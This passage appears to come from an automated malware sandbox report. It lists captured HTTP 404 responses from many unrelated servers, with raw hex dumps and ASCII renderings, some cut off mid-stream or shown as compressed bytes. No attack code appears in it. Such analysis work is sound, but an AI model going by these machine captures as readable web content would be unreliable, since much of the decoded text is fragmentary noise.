65 74 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 63 6f 6d 6d 6f 6e 2e 63 73 73 3f 76 3d 33 2e 31 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 70 72 69 6e 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:21 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-104.ec2.internalX-Request-Id: ea2b8c34-3b26-41d3-a5ed-ffae73977590Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:21 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-234.ec2.internalX-Request-Id: 87d54b86-9572-4036-bff3-942d104286e7Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:21 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-234.ec2.internalX-Request-Id: 49ee0353-d9c3-4460-841a-a7a06701c037Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:21 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=D%2BYgkd8ROs8167XyeFBBe4QNgihftC0tUv4MhbKkCqY%2Ba%2FYqVs9dQ3mso7x6bEX418hcDMJK4QSvnWswTuO5DhYxlBkn6c2HLAxyJuYv8E%2FRYm4LDwpBCUmWPu5E3dmGuxyTvQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845d99dbc9748a-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 65 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 4e c3 30 10 44 ef fe 8a a5 27 38 e0 4d 4b 90 38 ac 2c 41 93 8a 4a a1 44 c5 3d 70 74 e3 45 8e 94 c6 c1 76 0a fc 3d 4a 2a 24 ae 33 6f 46 33 74 55 bc ae f5 7b 5d c2 b3 7e a9 a0 3e 3c 55 db 35 2c 6e 11 b7 a5 de 20 16 ba b8 38 2b 99 21 96 bb 85 12 e4 d2 a9 53 e4 d8 58 25 28 b5 a9 63 95 67 39 ec 7c 82 8d 1f 7b 4b 78 11 05 e1 0c d1 d1 db 9f 29 b7 54 ff 18 b7 54 82 06 a5 1d 43 e0 cf 91 63 62 0b 87 7d 05 5f 26 42 ef 13 7c 4c 1c f8 1e 92 6b 23 44 0e 67 0e 92 70 98 9a 82 12 64 ac 0d 1c a3 7a 1c 4c e3 18 57 32 97 f7 77 70 5d f0 b1 35 fd 0d bc cd 01 30 09 b8 4f fc dd 74 63 6c cf 1c 65 e3 4f 50 fb 90 e0 21 23 fc eb 10 84 f3 48 c2 f9 dc 2f 00 00 00 ff ff 0d 0a Data Ascii: e5LN0D'8MK8,AJD=ptEv=J*$3oF3tU{]~><U5,n 8+!SX%(cg9\|{Kx)TTCcb}_&B\|Lk#DgpdzLW2wp]50OtcleOP!#H/
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:21 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:22 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-40.ec2.internalX-Request-Id: 850be478-8fc7-49b9-83f6-27d1f7e077b2Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:22 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-167.ec2.internalX-Request-Id: 40ba86cb-3d07-492c-af0a-37eb83683d6dData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:22 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uvfsEWupUN7nJ7oRNQr2FIr3IyG45EcnZXsNQJBaNLiCp7llgMOtvyQ9V606cWAY%2FlMlZYImoTp60wp3mauRpd9BUePqx%2BQCaVvgCJhLs46bun5KW5z%2B1tocuE%2FJOWQLfyEqqw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845d9cea87748a-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 65 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 4e c3 30 10 44 ef fe 8a a5 27 38 e0 4d 4b 90 38 ac 2c 41 93 8a 4a a1 44 c5 3d 70 74 e3 45 8e 94 c6 c1 76 0a fc 3d 4a 2a 24 ae 33 6f 46 33 74 55 bc ae f5 7b 5d c2 b3 7e a9 a0 3e 3c 55 db 35 2c 6e 11 b7 a5 de 20 16 ba b8 38 2b 99 21 96 bb 85 12 e4 d2 a9 53 e4 d8 58 25 28 b5 a9 63 95 67 39 ec 7c 82 8d 1f 7b 4b 78 11 05 e1 0c d1 d1 db 9f 29 b7 54 ff 18 b7 54 82 06 a5 1d 43 e0 cf 91 63 62 0b 87 7d 05 5f 26 42 ef 13 7c 4c 1c f8 1e 92 6b 23 44 0e 67 0e 92 70 98 9a 82 12 64 ac 0d 1c a3 7a 1c 4c e3 18 57 32 97 f7 77 70 5d f0 b1 35 fd 0d bc cd 01 30 09 b8 4f fc dd 74 63 6c cf 1c 65 e3 4f 50 fb 90 e0 21 23 fc eb 10 84 f3 48 c2 f9 dc 2f 00 00 00 ff ff 0d 0a Data Ascii: e5LN0D'8MK8,AJD=ptEv=J*$3oF3tU{]~><U5,n 8+!SX%(cg9\|{Kx)TTCcb}_&B\|Lk#DgpdzLW2wp]50OtcleOP!#H/
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:22 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlserver: Microsoft-IIS/7.5x-powered-by: ASP.NETdate: Wed, 20 Dec 2023 02:13:22 GMTcontent-length: 1635Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 57 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 50 6c 65 61 73 65 20 74 72 79 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 4d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 64 72 65 73 73 20 64 69 73 70 6c 61 79 65 64 20 69 6e 20 74 68 65 20 61 64 64 72 65 73 73 20 62 61 72 20 6f 66 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 69 73 20 73 70 65 6c 6c 65 64 20 61 6e 64 20 66 6f 72 6d 61 74 74 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 49 66 20 79 6f 75 20 72 65 61 63 68 65 64 20 74 68 69 73 20 70 61 67 65 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 61 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 63 74 0d 0a 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 74 6f 20 61 6c 65 72 74 20 74 68 65 6d 20 74 68 61 74 20 74 68 65 20 6c 69 6e 6b 20 69 73 20 69 6e 63 6f 72 72 65 63 74 6c 79 20 66 6f 72 6d 61 74 74 65 64 2e 0d 0a 3c 2f 6c 69 3e 0d 0a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:22 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://twohillsstudio.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2Connection: UpgradeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 66 31 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 77 6f 20 48 69 6c 6c 73 20 53 74 75 64 69 6f 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 74 68 65 43 68 61 6d 70 4c 6f 61 64 45 76 65 6e 74 28 65 29 7b 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3b 69 66 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 65 7d 65 6c 73 65 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 29 3b 65 28 29 7d 7d 7d 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 74 68 65 43 68 61 6d 70 44 65 66 61 75 6c 74 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 2c 20 74 68 65 43 68 61 6d 70 43 6c 6f 73 65 49 63 6f 6e 50 61 74 68 20 3d 20 27 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 73 75 70 65 72 2d 73 6f 63 69 61 6c 69 7a 65 72 2f 69 6d 61 67 65 73 2f 63 6c 6f 73 65 2e 70 6e 67 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 3e 76 61 72 20 74 68 65 43 68 61 6d 70 53 69 74 65 55 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 27 2c 20 74 68 65 43 68 61 6d 70 56 65 72 69 66 69 65 64 20 3d 20 30 2c 20 74 68 65 43 68 61 6d 70 45 6d 61 69 6c 50 6f 70 75 70 20 3d 20 30 2c 20 68 65 61 74 65 6f 72 53 73 4d 6f 72 65 53 68 61 72 65 50 6f 70 75 70 53 65 61 72 63 68 54 65 78 74 20 3d 20 27 53 65 61 72 63 68 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 09 09 09 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:22 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-165.ec2.internalX-Request-Id: d631083b-e7d3-40de-aaa7-8d9451e1d8efData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidate, max-age=0Content-Type: text/html; charset=UTF-8Expires: Wed, 11 Jan 1984 05:00:00 GMTServer: Microsoft-IIS/10.0X-Powered-By: PHP/7.4.2Link: <https://www.tgcan.co.uk/wp-json/>; rel="https://api.w.org/"X-Powered-By: ASP.NETDate: Wed, 20 Dec 2023 02:13:22 GMTContent-Length: 41957Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 61 76 61 64 61 2d 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 77 69 64 65 20 61 76 61 64 61 2d 68 74 6d 6c 2d 68 65 61 64 65 72 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 50 